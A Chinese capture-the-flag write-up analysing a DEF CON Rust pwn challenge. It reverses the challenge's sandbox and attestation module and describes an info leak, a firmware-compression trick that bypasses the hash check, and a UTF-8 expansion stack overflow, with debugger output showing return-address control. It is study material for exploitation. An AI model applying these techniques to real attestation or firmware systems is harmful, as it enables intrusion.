defcon-rustpwn

之前跟着战队尝试做了一个defcon的题目,又是一个rust pwn,而且非常有意思,这边记录一下整个做题过程

本文首发于奇安信攻防社区 https://forum.butian.net/share/2328

Rust Pwn – rest-and-attest

rest-and-attest

这个题又是一个Rust Pwn。拿到题目后,观察到有以下几个文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
├── bin
│ ├── launcher
│ ├── run_challenge.sh
│ ├── sfm
│ ├── uploader
│ └── wrapper.sh
├── lib
│ ├── libcrypto.so.3
│ ├── libc.so.6
│ └── libgcc_s.so.1
└── src
├── Cargo.lock
├── Cargo.toml
├── sfm
│ ├── Cargo.toml
│ └── src
│ ├── lib.rs
│ ├── main.rs
│ └── sfm_proto.rs
├── sfm-sys
│ ├── build.rs
│ ├── Cargo.toml
│ ├── src
│ │ └── lib.rs
│ └── vendor
└── uploader
├── Cargo.toml
└── src
├── main.rs
└── trusted_firmware.raw

首先根据文件目录,我们知道我们有一个uploader项目,一个sfm项目,一个辅助sfm项目的sfm-sys。基本上对应了bin目录下给出的相关二进制。然而,给出的二进制还包含了一个launcher,这个是没有源码的。这里run_challenge.shwrapper.sh脚本内容如下:
run_challenge.sh

1
2
3
4
#!/bin/sh

# simulates challenge running in production environment
socat tcp4-listen:4444,reuseaddr,fork exec:"./wrapper.sh"

wrapper.sh

1
2
3
4
5
#!/bin/sh

exec 3<&- 4<&-

exec ./uploader

可以看到,程序入口就是uploader

程序入口Uploader

我们先简单看一下uploader的逻辑。比较重要的如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
fn io_loop() -> Result<(), Box<dyn Error>> {

let mut image = include_bytes!("trusted_firmware.raw").to_vec();

loop {
let mut line = String::new();

print!("> ");
stdout().flush()?;
stdin().read_line(&mut line)?;

let command = line.trim();
if command == String::from("upload") {
image = get_new_image()?;
} else if command == String::from("download") {
do_download(&image)?;
} else if command == String::from("run") {
run_device(&image)?;
} else if command == String::from("quit") {
break;
} else {
println!("Invalid command {:}", command)
}
}

Ok(())
}

这里四个逻辑,分别是:

  • 上传一段shellcode二进制程序
  • 下载现有的shellcode二进制
  • 使用launcher运行对应的shellcode
  • 退出

这里如果我们不上传的话,会使用默认的trusted_firmware.raw。这个shellcode存放在sfm这个项目的src中。
当我们执行了run指令,程序会做出如下操作:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
fn run_device(image: &Vec<u8>) -> Result<(), Box<dyn Error>> {

let (mut sfm_child, client_sock) = launch_sfm()?;

let mut temp_file = NamedTempFile::new()?;
temp_file.write_all(&image[..])?;

let temporary_path = temp_file.into_temp_path();

let duped_fd = unsafe {
match libc::dup(client_sock.as_raw_fd()) {
-1 => Err(IoError::last_os_error()),
new_fd => Ok(new_fd)
}?
};

let mut fw_child = process::Command::new(LAUNCHER_PATH)
.args([&temporary_path])
.env("SFM_FD", duped_fd.as_raw_fd().to_string())
.spawn()
.expect("failed to execute emulator");

fw_child.wait().expect("emulator wasn't running");

sfm_child.kill().expect("was not running");

Ok(())
}

流程大致如下

  • 首先程序会尝试启动sfm程序,并且获得子进程对象,以及创建一个client_sock的通信句柄,这个句柄对应的server_sock会传入sfm,与sfm进行交互
  • 程序会启动launcher这个程序,这个程序会使用client_sock通信句柄
  • 我们之前上传的image(也就是shellcode)会作为启动选项的参数

上传沙箱Launcher

这个程序是一个C写的程序,最关键的地方如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
j_memcpy(hollow_and_jump_buffer, hollow_and_jump, 128LL);
if ( (unsigned int)mprotect(hollow_and_jump_buffer, 4096LL, 5LL) )
{
perror("mprotect hollow logic region");
return 1;
}
else if ( (unsigned int)install_seccomp_filter() )
{
fwrite("Failed to isntall seccomp filter\n", 1LL, 33LL, stderr);
return 1;
}
else
{
hollow_and_jump_buffer(v15, v12, buffer);
return 0;
}

程序将我们上传的shellcode读到了buffer中,然后通过一个mmap出来的hollow_and_jump_buffer函数跳转到buffer的逻辑上。同时这里注意,这个install_seccomp_filter会进行seccomp设置,设置的内容如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
 line  CODE  JT   JF      K
=================================
0000: 0x20 0x00 0x00 0x00000004 A = arch
0001: 0x15 0x01 0x00 0xc000003e if (A == ARCH_X86_64) goto 0003
0002: 0x06 0x00 0x00 0x00000000 return KILL
0003: 0x20 0x00 0x00 0x00000000 A = sys_number
0004: 0x15 0x00 0x01 0x00000000 if (A != read) goto 0006
0005: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0006: 0x15 0x00 0x01 0x00000001 if (A != write) goto 0008
0007: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0008: 0x15 0x00 0x01 0x0000002f if (A != recvmsg) goto 0010
0009: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0010: 0x15 0x00 0x01 0x0000000b if (A != munmap) goto 0012
0011: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0012: 0x06 0x00 0x00 0x00000000 return KILL

这里可以看出,程序只允许了四个系统调用

  • read
  • write
  • recvmsg
  • mummap

一开始的时候有一个想法:我们能不能直接上传一个文件,然后直接ORW,结果仔细看,这里没有允许open存在,那看来这个binary本身是没办法了。只能尝试从sfm处突破
逆向到此处,我们需要对这个题目的输出输出流与运行状态稍作总结:

  • 最初的时候uploader与我们对接,而uploader启动了launcher,lancher启动了raw
  • 此时我们的输入和输出会直接与launcher执行的raw对接
  • uploader创建了sfm进程,并且建立了socket通信,其中sock_server作为了sfm的stream
  • launcher接受了sock_client,并且将其拷贝为3,这个3继承给了raw
  • raw中使用3 fd与SFM_FDsfm进行校验后,通过给sfm发送一个请求,重新将我们普通的数据输出流设定为1,2(与当前一致),然后进行通信
1
2
3
4
5
6
7
8
9
10
11
+----------+                  +-----------+                  +-----------+
| launcher | | raw | | sfm |
+----------+ +-----------+ +-----------+
| input | sock_client |
| ---------------> | ---------------> |
| | |
| output | sock_server |
| <--------------- | <--------------- |
| | |
| | |
| | |

RAW

这个RAW模块是一个作为例子的模块,rawsfm的通信过程需要通过将raw逆向分析后,才能比较完整的理清楚这个过程。其中一个比较重的逻辑如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
int __usercall main_function@<eax>(int sock_fd@<edi>, __int64 argument@<rsi>, int std_fd@<edx>)
{
puts_((unsigned int)std_fd, "Attested core booted...\n");
while ( 1 )
{
LOWORD(buffer) = ' #';
write(std_fd_1, (char *)&buffer, (int)&loc_1 + 1);
*(_DWORD *)&input_buf[16] = 0;
readline(std_fd, input_buf, 20i64);
result = strcmp__(input_buf, "exit");
if ( !result )
break;
if ( !strcmp__(input_buf, "identity") )
identity(sock_fd, std_fd_1);
if ( !strcmp__(input_buf, "quote") )
quote();
if ( !strcmp__(input_buf, "certify") )
certify();
}
return result;
}

这里会有两个fd,一个是和sfm通信的sock,另一个则是用来和当前的标准输入输出流进行通信。后文的一些通信格式可以从这个binary中逆向得到。

SFM模块

sfm模块是这个题目最关键的模块,这个模块会初始化一个SFM(SecureFirewareModule)模块,用于提供SFM的一些操作接口(也就是我们的主要漏洞点)。整个SFM模块主要逻辑基本上围绕着对我们创建的SFM对象的相关操作。

这个模块初始化的时候,首先会先模拟了使用一种叫做(PCR)Platform Configuration Register的认证方式

这个认证方式源自于TPM(Trusted Platform Module)中,PCR表示一段存在TPM架构中的一段内存。通常情况下,被设定为安全软件和重要引导程序的程序会被计算其hash值,然后存放在这个PCR中。当不同的PCR关联到同一个hash库中的时候,会被认为叫做bank。每一个bank对应一种hash算法,一个PCR可以分配给多个bank。不同的软件可以使用不同的算法做测量,产生不同的摘要,这些摘要就会被扩展到对应的bank中。
在测量软件时,TPM仅仅用PCR来记录测量值。至于是否安全,这要到应用程序真正使用PCR用于policy授权的时候,或者是远程请求者请求一个签名认证(quote,引用)然后判定可信性。

在这个题目中,根据我们的执行情况,可以推断出前文raw程序执行的时候,一定是通过了PCRPolicy的认证。通过逆向raw的逻辑,可以得知,raw通过验证的办法,就是通过将自己的binary发送了过去,所以这个地方的PCRPolicy其实计算的就是trusted_firmware.raw的hash。这里其实模拟了一个认证绕过的问题,下文可以看到如何使用

接下来,程序给出了一些基本功能,包括

  • (1) 获取当前证书信息
  • (2) 更新bank的信息
  • (3) 创建一个SFM对象,并且指定其认证方式
  • (4) 修改当前SFM对象的基本属性,需要通过认证
  • (5) 对当前SFM对象进行证书签名
  • (6) 对sfm对象进行认证
  • (7) 建立安全的通信连接

其中,系统提供的raw在初始化的时候,会调用(2)(7),成功执行后才能够让raw接受我们用户侧的输入,并且能够传递给sfm

1
2
3
4
get_firmware_data(3, 1i64, now_pc);
if ( establish_secure_io() < 0 )
return 1;
main_function(3, std_fds, SHIDWORD(std_fds));

允许使用的功能只有(1) (5) (6),简单逆向后会发现,这几个功能在正常初始化下基本上没有什么功能。因为这几个程序都在操作sfm初始化时候正常初始化的模块。显然,我们需要尝试创建或者修改对应的模块才能出发漏洞。

根据Rust语言的特性,rust本身出现漏洞的情况少之又少,所以我们首先快速的过一遍所有的unsafe部分,可以看到在sfm-sys这个模块下,存在着一些C语言的外部函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
extern "C" {
fn sfm_init_ek() -> *const EvpPkeyRsa;
fn sfm_get_public_key(pkey: *const EvpPkeyRsa,
output: *mut u8) -> c_int;
fn sfm_attest_to_quote(pkey: *const EvpPkeyRsa,
alg_id: u16,
banks: *const [u8; 64],
num_banks: usize,
output: *mut u8) -> c_int;
fn sfm_certify_owner_record(pkey: *const EvpPkeyRsa,
owner_name: *const u8,
device_name: *const u8,
serial: u64,
timestamp: u32,
output: *mut u8) -> c_int;
fn sfm_certify_key(pkey: *const EvpPkeyRsa,
key_data: *const u8,
output: *mut u8) -> c_int;
fn sfm_certify_nv_storage(pkey: *const EvpPkeyRsa,
data: *const u8,
data_len: usize,
output: *mut u8) -> c_int;
}

这些外部函数很特别,首先题目中并没有给出他们的原型,其次是他们在被调用的时候,都有unsafe这个label存在,例如

1
2
3
4
5
6
7
8
9
10
11
12
pub fn get_public_key(&self) -> Option<Vec<u8>> {
let mut out_buf = [0u8; 512];
let err = unsafe {
sfm_get_public_key(self.ek, out_buf.as_mut_ptr())
};

if err != 0 {
None
} else {
Some(out_buf.to_vec())
}
}

这些函数实现的内部仔细过了一遍,会发现有以下特征

  • 大部分都使用了memcpy
  • 结合程序传入参数和源码,可以得知这些函数都尝试将payload存放到栈上

这里我们以上文的get_public_key为例子,首先这个程序中的out_buf为一个指定大小的数组,其次其通过调用了.as_mut_ptr将自己声明为了可变的指针。在反汇编中如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
_QWORD *__fastcall sfm_sys::SecureFirmwareModule::get_public_key(_QWORD *a1, __int64 *a2)
{
void *v2; // rax
void *v3; // r14
char v5[536]; // [rsp+0h] [rbp-218h] BYREF

memset(v5, 0, 0x200uLL);
if ( (unsigned int)sfm_get_public_key(*a2, v5) )
{
a1[1] = 0LL;
}
else
{
_rust_alloc();
if ( !v2 )
alloc::alloc::handle_alloc_error::h07edb87aaab24c34();
v3 = v2;
memcpy(v2, v5, 0x200uLL);
*a1 = 512LL;
a1[1] = v3;
a1[2] = 512LL;
}
return a1;
}

这里的v5就是上文的out_buf

然后大致过了一遍所有的unsafe,会发现在certifyattest这个操作的时候,有可能会有一些异常行为。(因为剩下的unsafe包含的逻辑基本上是固定的了)

attest - 信息泄露

在TPM过程中,“attestation”(attest)是指证明一个系统或者设备的身份和完整性,确保它是可信的。这是通过TPM的一系列安全功能来实现的,包括数字签名、密钥管理和远程验证等机制。具体来说,TPM attestation过程中,系统或设备会向TPM发送请求,TPM会对其进行验证并生成一个证明(attestation),证明该系统或设备的身份和完整性。这个证明可以被其他系统或设备用来验证该系统或设备的可信性

逆向attest操作,会发现里面有一个很简单就能发现的信息泄露:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
#[derive(Debug)]
pub enum SfmHashAlgorithm {
HashAlgSha1 = 0,
HashAlgSha256 = 1,
HashAlgSha384 = 2,
HashAlgSha512 = 3,
HashAlgMax = 4,
}
///
fn attest_quote(&mut self, cmd: WithTrailer<SfmAttestQuote>) -> SfmResult<bool> {
let alg = cmd.alg_id;

if alg > SfmHashAlgorithm::HashAlgMax as u16 {
return Err(SfmError::InvalidAlgorithmType);
}

let report = self.sfm.attest(alg, self.banks.to_vec());

self.stream.write_all(&report.ok_or(SfmError::SfmInternalError)?[..])?;
Ok(true)
}

在入口位置,程序校验了alg_id是否为有效的hash算法,这个HashAlgMax值为4.而在内部函数调用的时候:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
result = EVP_MD_CTX_new();
v9 = result;
if ( gid == 2 )
{
v10 = EVP_sha384();
return sign_data(a1, v9, v10, a3, a4, a5);
}
if ( gid <= 2 )
{
if ( gid )
v10 = EVP_sha256();
else
v10 = EVP_sha1();
return sign_data(a1, v9, v10, a3, a4, a5);
}
if ( gid == 3 )
{
v10 = EVP_sha512();
return sign_data(a1, v9, v10, a3, a4, a5);
}
return result;

这边值使用了gid<=3的情况,忘记了处理gid=4。所以当我们构造的请求满足gid=4的时候,这里的EVP_MD_CTX_new就会返回一个地址,从而泄露一个lib库的地址。

modify - 堆操作

NvStorage?

certify函数中,基本上都存在内存拷贝的问题,因此我们可以考虑创建或者修改对象来实现溢出。首先我们来看到创建的流程

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
fn create_object(&mut self, cmd: WithTrailer<SfmCreateObject>) -> SfmResult<bool> {
// first strip off the desired policy
let policy_header = SfmAuthorizationPolicy::parse_with_trailer(cmd.get_trailer())
.ok_or(SfmError::InvalidAuthPolicy)?;
// skip some code..

// create the object, return the id
let object: Option<SfmObject> = match cmd.get_object_type().try_into() {
// OwnershipRecord is not a creatable object type
Ok(SfmObjectType::OwnershipRecord) => None,
Ok(SfmObjectType::Key) => {
let mut key_data = [0u8; 32];
rand::thread_rng().fill_bytes(&mut key_data);
Some(SfmObject::Key(Aes256Key { key_data } ))
},
Ok(SfmObjectType::NvStorage) => {
let nv_storage_raw = NvStorageRaw::parse_with_trailer(policy_header.get_trailer())
.ok_or(SfmError::InvalidObjectValue(SfmObjectType::NvStorage))?;

let size = nv_storage_raw.size as usize;
if size > 1024 {
Err(SfmError::InvalidObjectValue(SfmObjectType::NvStorage))?;
}
Some(SfmObject::NvStorage(nv_storage_raw.get_trailer()[..size].to_vec()))
}
_ => None
}
let response_id = if let Some(object) = object {
let object_with_policy = ObjectStoreItem {
policy: policy,
item: object
};
self.object_store.insert(self.last_object_id, object_with_policy);
self.last_object_id.checked_add(1).expect("Object ID count overflowed");
self.last_object_id - 1
} else {
eprintln!("Invalid object found");
return Err(SfmError::InvalidObjectType(cmd.get_object_type()));
};

}

这里又要提一个细节:这边创建内存的时候,使用的是parse_with_trailer这个接口,这个接口的实现如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
pub trait JustBytes {
/// parse and return a reference to the underlying data and the trailer
fn parse_with_trailer(bytes: &[u8]) -> Option<WithTrailer<Self>>
where Self: Sized;

/// construct a new copy of Self using `bytes` as a source
fn new_from_bytes(bytes: &[u8]) -> Option<Self>
where Self: Sized;
}

impl<T: AsBytes + FromBytes> JustBytes for T {

fn parse_with_trailer(bytes: &[u8]) -> Option<WithTrailer<T>>
where Self: Sized
{
let (content, trailer) = LayoutVerified::<&[u8], Self>::new_from_prefix(bytes)?;
Some(WithTrailer::<T>{ inner: content.into_ref(), trailer })
}

fn new_from_bytes(bytes: &[u8]) -> Option<Self>
where Self: Sized
{
Self::read_from(bytes)
}
}

这边可以看到,这个trait为所有从AsBytesFromBytes派生的对象实现了接口parse_with_trailernew_from_bytes这两个接口,前者要求传入的字符串长度对齐T的最小align值,后者要求传入的bytes大小正好为T的大小。所以这两个接口基本上为序列化操作。

回到刚刚函数部分,这里NvStorage可以通过传入的字符串进行序列化。Rust实现序列化的时候,是自动的将内存填充到结构体中,而NvStorage相关结构体如下

1
2
3
4
5
6
7
8
9
10
11
#[repr(C)]
#[derive(Debug, AsBytes, FromBytes)]
pub struct NvStorageRaw {
pub size: u16,
}
#[derive(Debug)]
pub enum SfmObject {
OwnershipRecord(OwnershipRecord),
Key(Aes256Key),
NvStorage(Vec<u8>),
}

这里我们能控制NvStorageRaw中的size大小,以及对应写入的大小。然而这里的size在代码中限制最大值仅为1024,大小非常有限,在certify过程中,相关代码如下:

1
2
3
4
5
6
7
8
let mut out_buf = [0u8; MAX_NV_STORAGE_CERT_SIZE]; //0x500

let err = unsafe {
sfm_certify_nv_storage(self.ek,
data.as_ptr(),
data.len(),
out_buf.as_mut_ptr())
};

可以看到溢出长度不够,只能使用其他对象。不过这边的NvStoargeRaw可以由用户控制塞入任意的1024字节,这点可以稍微记一下。

其他对象中,Key的长度也是属于无法发生溢出的情况,于是只能考虑OwnershipRecord

OwnershipRecord - 栈溢出 - Part1

OwnershipRecord这个对象首先无法在create_object中创建:

1
2
3
4
let object: Option<SfmObject> = match cmd.get_object_type().try_into() {
// OwnershipRecord is not a creatable object type
Ok(SfmObjectType::OwnershipRecord) => None,
}

从代码中可以看出,即使我们选择这个对象,它也是不会创建的。然而在sfm初始化的时候,实际上就创建过一个OwnershipRecord对象:

1
2
3
4
5
6
7
8
let res = object_store.insert(0,
ObjectStoreItem {
policy: pcr_policy.clone(),
item: SfmObject::OwnershipRecord (
ownership_record
)
}
);

因此我们可以考虑直接修改这个对象,从而考虑是否构成危险。它可以在modify中被修改:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
fn modify_object(&mut self, cmd: WithTrailer<SfmModifyObject>) -> SfmResult<bool> {
let idx = cmd.get_object_index();

// look up object
let entry = self.object_store.get_mut(&idx.into())
.ok_or(SfmError::InvalidObjectIndex(idx))?;

let policy_header = SfmAuthorizationPolicy::parse_with_trailer(cmd.get_trailer())
.ok_or(SfmError::InvalidAuthPolicy)?;

let (authorized, trailer) = match entry.policy {
// just look at here
AuthorizationPolicy::PcrPolicy(desired_state) => {
(self.banks == desired_state, cmd.get_trailer())
},
};

if !authorized {
return Err(SfmError::FailedAuth);
}
// modify according to type and set fields
let new_object = match entry.item {
SfmObject::OwnershipRecord(_) => {
SfmObject::OwnershipRecord(
OwnershipRecordRaw::new_from_bytes(trailer)
.ok_or(SfmError::InvalidObjectValue(SfmObjectType::OwnershipRecord))?
.into()
)
}
}
};

let new_entry = ObjectStoreItem {
policy: entry.policy,
item: new_object
};

*entry = new_entry;
}

然而修改这个对象,我们需要让我们的bankdesired_state相等, 而这一步相当于是认证通过。这段其实模拟了TPM检测固件hash的过程,在未认证通过的情况下,没有办法修改OwnershipRecord。。。。吗?

认证绕过

上文提到的漏洞点虽然存在,但是需要想办法进行认证绕过,然而从题目可知,这个绕过需要比对desired_statebank相等,这个逻辑要怎么绕过呢?

程序提供了一个叫做integrity_bank_update的函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
fn integrity_bank_update(&mut self, cmd: WithTrailer<SfmIntegrityBankUpdate>) -> SfmResult<bool> {
let bank_index = cmd.get_bank_index() as usize;

if bank_index >= self.banks.len() {
eprintln!("Invalid bank index specified");
return Ok(false);
}

let mut hasher = Sha512::new();
hasher.update(&self.banks[bank_index][..]);
hasher.update(cmd.get_data());

self.banks[bank_index] = hasher.finalize().into();

self.stream.write_all(&(0_u32.to_le_bytes()))?;
Ok(true)
}

这个程序模拟了TPM更新hash的流程,由于开始的时候bank被初始化成了空值,所以在这边我们需要发送请求,将对应的bank更新。而只有更新为trusted_firmware.raw的hash值,的是偶,才能实现认证!

这里我们来仔细分析一下程序设计:对于TPM而言,此时它需要对我们的程序hash进行检测,从而保证我们的固件没有被修改。然而可能是出于一些特定的原因(例如当binary过大的时候,整体hash可能耗时太长)程序并未将整个binary进行hash并且检测,而是每1024个字节进行一次hash,最后比较整个hash数组,确保是否发生改变

为了保证权限隔离,TPM的验证程序sfm肯定是无法直接接触到launcher送上来的raw firmware,所以两者之间使用了一个unix socket,模拟一种进程间隔离的情况下进行的通信检查,并且使用了看似合理的检查方式:上传的固件大小为8192,而sfm检查的时候,正好需要计算8段1024字节大的数据

trusted_firmware是通过将自身的binary发送过去,从而实现的认证。从这个角度看,当我们企图修改trusted_firmware中的任意一个字节,都将无通过校验;同时,如果我们尝试创建自己的binary,我们就会无法通过验证,看似是卡死了作弊的可能。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16

┌──────────────┐ ┌──────────┐
│ │ │ │
│ 8192 │ │ SFM │
│ │ │ │
│ │ │ │
│ │ │ │
│ ├──────────►│ │
│ │ │ │
│ │ │ │
│ │ │ │
│ │ │ │
│ │ │ │
│ │ │ │
└──────────────┘ └──────────┘

然而上述的安全逻辑之下却隐藏了一种可能:假设我们实现将trusted_firmare进行压缩之后,塞入新的逻辑,其中当校验过程发生时,将对应的内容解压,这样我们就能在能够完成认证的同时,又引入自己的新的恶意逻辑!:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
+--------------+           +----------+
| | | |
| 8192 | | SFM |
| | | |
| compress | | |
| | | |
+--------------+---------->| |
| | | |
| | | |
| shellcode | | |
| | | |
| | | |
| | | |
+--------------+ +----------+

于是在这种情况下,我们就能在完成认证的同时,实现自己的恶意代码攻击!

OwnershipRecord - 栈溢出 - Part2

当我们实现了认证之后,便可尝试触发下列代码实现更改OwnershipRecord:

1
2
3
4
5
6
7
SfmObject::OwnershipRecord(_) => {
SfmObject::OwnershipRecord(
OwnershipRecordRaw::new_from_bytes(trailer)
.ok_or(SfmError::InvalidObjectValue(SfmObjectType::OwnershipRecord))?
.into()
)
}

这里有一个细节:之前我们提到过,SfmObject::OwnershipRecord这个enum类型使用的是OwnershipRecord这个结构体,然而这边却是使用了OwnershipRecordRaw这个结构体的new_from_bytes进行的反序列化,这两者之间如何转换的呢?

于是这边检查相关结构体:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
#[repr(C)]
#[derive(Debug, AsBytes, FromBytes)]
pub struct OwnershipRecordRaw {
pub country_code: [u8; 2],
pub _padding: [u8; 2],
pub owner_name: [u8; 64],
pub device_name: [u8; 16],
pub serial_number: [u8; 8],
pub creation_date: u32,
}

impl From<OwnershipRecordRaw> for OwnershipRecord {
fn from(item: OwnershipRecordRaw) -> Self {
Self {
country_code: String::from_utf8_lossy(&item.country_code[..]).to_string(),
owner_name: String::from_utf8_lossy(&item.owner_name[..]).to_string(),
device_name: item.device_name,
serial_number: item.serial_number,
creation_date: item.creation_date
}
}
}

这个地方有一个很有意思的地方:OwnershipRecord实现了一个接口,这个接口是针对OwnershipRecordRaw对象的From,这个接口的说明根据Rust官方网站说明

The From trait allows for a type to define how to create itself from another type, hence providing a very simple mechanism for converting between several types.
The Into trait is simply the reciprocal of the From trait. That is, if you have implemented the From trait for your type, Into will call it when necessary.
The From and Into traits are inherently linked, and this is actually part of its implementation. It means if we write something like this: impl From<T> for U, then we can use let u: U = U::from(T) or let u:U = T.into().

在这个代码中,当一个OwnershipRecordRaw调用into()函数的时候,上述代码就会自动触发。由于new_from_bytes为精准的反序列化过程,也就是说会严格按照OwnershipRecordRaw结构体大小进行反序列化,因此这些字符串基本上无法出现溢出。

然而注意这里的from_utf8_lossy函数,这个函数其实是一个处理utf8的函数,如果遇到普通的ascii,这个函数会把对应的字符串直接翻译,但是如果遇到了ascii以外的字符串,其行为会是怎么样的呢?,这里检查官方文档:

Strings are made of bytes (u8), and a slice of bytes (&[u8]) is made of bytes, so this function converts between the two. Not all byte slices are valid strings, however: strings are required to be valid UTF-8. During this conversion, from_utf8_lossy() will replace any invalid UTF-8 sequences with U+FFFD REPLACEMENT CHARACTER

官方文档提到,当我们传入的字符串为非UTF-8的形式的时候,这里的字符串会被添加FF FD两个多余的字符(并且替换掉原来的字符为替代字符)!换句话说,虽然这里的country_code或者owner_name会因为反序列化的要求,长度局限为2和64,然而会因为添加了ff fd多余的字符,长度变为现在的3倍!

接下来看到对应的certify功能:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
pub fn certify_ownership_record(&mut self,
owner_name: &[u8],
device_name: &[u8],
serial: u64,
timestamp: u32) -> Option<Vec<u8>> {
let mut out_buf = [0u8; MAX_OWNERSHIP_CERT_SIZE]; // 380

let err = unsafe {
sfm_certify_owner_record(self.ek,
owner_name.as_ptr(),
device_name.as_ptr(),
serial,
timestamp,
out_buf.as_mut_ptr())
};

if err != 0 {
None
} else {
Some(out_buf.to_vec())
}
}

这个栈上的变量有380字节的空余,我们这个结构体OwnershipRecordRaw只有96字节,不足以构成溢出。转换后的OwnershipRecord大小大差不差(多了一点string的结构体),不过我们需要进一步看一下内部逻辑:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
  owner_cert = create_owner_cert(owner_name, device_name, serial, &cnt);
if ( owner_cert )
{
v9 = EVP_MD_CTX_new();
if ( v9 )
{
v10 = EVP_sha256();
v11 = EVP_DigestSignInit(v9, 0LL, v10, 0LL, a1);
if ( v11 == 1 )
{
if ( (unsigned int)EVP_DigestSignUpdate(v9, owner_cert, cnt) == 1 )
{
v11 = EVP_DigestSignFinal(v9, 0LL, (__int64)n);
if ( v11 == 1 )
{
v14 = CRYPTO_malloc(n[0], "vendor/sfm/src/main.c", 292LL);
v12 = (const void *)v14;
if ( v14 )
{
/// skip code...

void* create_owner_cert(char *owner_name, char *device_name, char *serial, _QWORD *a4)
{
result = malloc(0x10uLL);
ptr[0] = result;
if ( result )
{
*a4 = 16LL;
*result = serial;
*((_DWORD *)ptr[0] + 2) = time(0LL);
if ( (unsigned int)append_kv_to_cert(ptr, a4, "O=", owner_name)
|| (unsigned int)append_separator_to_cert(ptr, a4, ",")
|| (appended = append_kv_to_cert(ptr, a4, "CN=", device_name), result = ptr[0], appended) )
{
free(ptr[0]);
return 0LL;
}
}
return result;
}

__int64 __fastcall append_kv_to_cert(void **a1, _QWORD *a2, const char *label, const char *in_buf2)
{
v6 = strlen(label);
total_len = strlen(in_buf2) + v6;
v8 = (char *)realloc(*a1, total_len + *a2 + 1);
if ( !v8 )
return 1LL;
v9 = v8;
strcpy(&v8[*a2], label);
lable_len = strlen(label);
strcpy(&v9[*a2 + lable_len], in_buf2);
*a1 = v9;
result = 0LL;
*a2 += total_len;
return result;
}

可以看到,这边实际上拷贝了两个东西,一个是加密后的hash值,另一个是调用create_owner_cert创建的结构体。整体的hash其实是在对create_owner_cert算出来的值进行hash,而这个owner_cert对象其实就是我们传入的OwnershipRecord,并且添加了一些证书结构体。注意到这里的append_kv_to_cert函数底层实现实际上使用的是strcpy进行的数据拷贝,也就是说由于utf-8编码导致的内存扩展的漏洞现象会保留。
其中根据调试可以知道,当我们把所有的字符串填满的情况下,hash值实际上有0x100字节那么大,此时拷贝逻辑如下:

1
2
3
4
5
6
7
8
if ( (unsigned int)EVP_DigestSignFinal(v9, v14, (__int64)n) == 1 )
{
v15 = n[0];
memcpy(out_buf, v12, n[0]);
v16 = &out_buf[v15];
v11 = 0;
memcpy(v16, owner_cert, cnt);
}

由于我们之前进行了内存扩展,此时的owner_cert已经远超96字节。以device_name填满0xff为例子,此时的大小已经达到了224字节!于是必定可以进行栈溢出攻击。根据调试,我们塞入一定量后的0xff,并且拼入一些B字符到device_name,可以得到如下的结果:

1
2
3
4
5
6
7
0x7fffb2493a88: 0xbdbfefbdbfefbdbf      0xbfefbdbfefbdbfef                 
0x7fffb2493a98: 0xefbdbfefbdbfefbd 0xbdbfefbdbfefbdbf
0x7fffb2493aa8: 0xbfefbdbfefbdbfef 0xefbdbfefbdbfefbd
0x7fffb2493ab8: 0xbdbfefbdbfefbdbf [0x4242424242424242] <---- rpb
0x7fffb2493ac8: 0x432c424242424242 0x4141414141413d4e
^^^^^^^^^^^^^^^^^ ^^^^
ret address here is struct header

此时我们就有了栈溢出的攻击原语

内存布局构造

检查sfm可以知道,这个程序开启了所有的保护:

1
2
3
4
5
Arch:     amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled

由于我们现在存在ROP的手段,同时又有一个泄露数据的办法,我们可以先检查泄露的数据中会包含什么。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
00000000  00 00 00 00  00 00 00 00  00 00 00 00  00 00 00 00  │····│····│····│····│
*
00000040 00 00 00 00 00 00 00 00 21 00 00 00 00 00 00 00 │····│····│!···│····│
00000050 01 00 00 00 00 00 00 00 90 d9 cb 68 89 7f 00 00 │····│····│···h│····│
00000060 20 f4 d6 68 89 7f 00 00 21 00 00 00 00 00 00 00 │ ··h│····│!···│····│
00000070 02 00 00 00 00 00 00 00 df ee cb 68 89 7f 00 00 │····│····│···h│····│
00000080 c0 b2 d6 68 89 7f 00 00 21 00 00 00 00 00 00 00 │···h│····│!···│····│
00000090 20 a6 5a 7e c4 55 00 00 10 cb 5a 7e c4 55 00 00 │ ·Z~│·U··│··Z~│·U··│
000000a0 db 0b 89 64 00 00 00 00 21 00 00 00 00 00 00 00 │···d│····│!···│····│
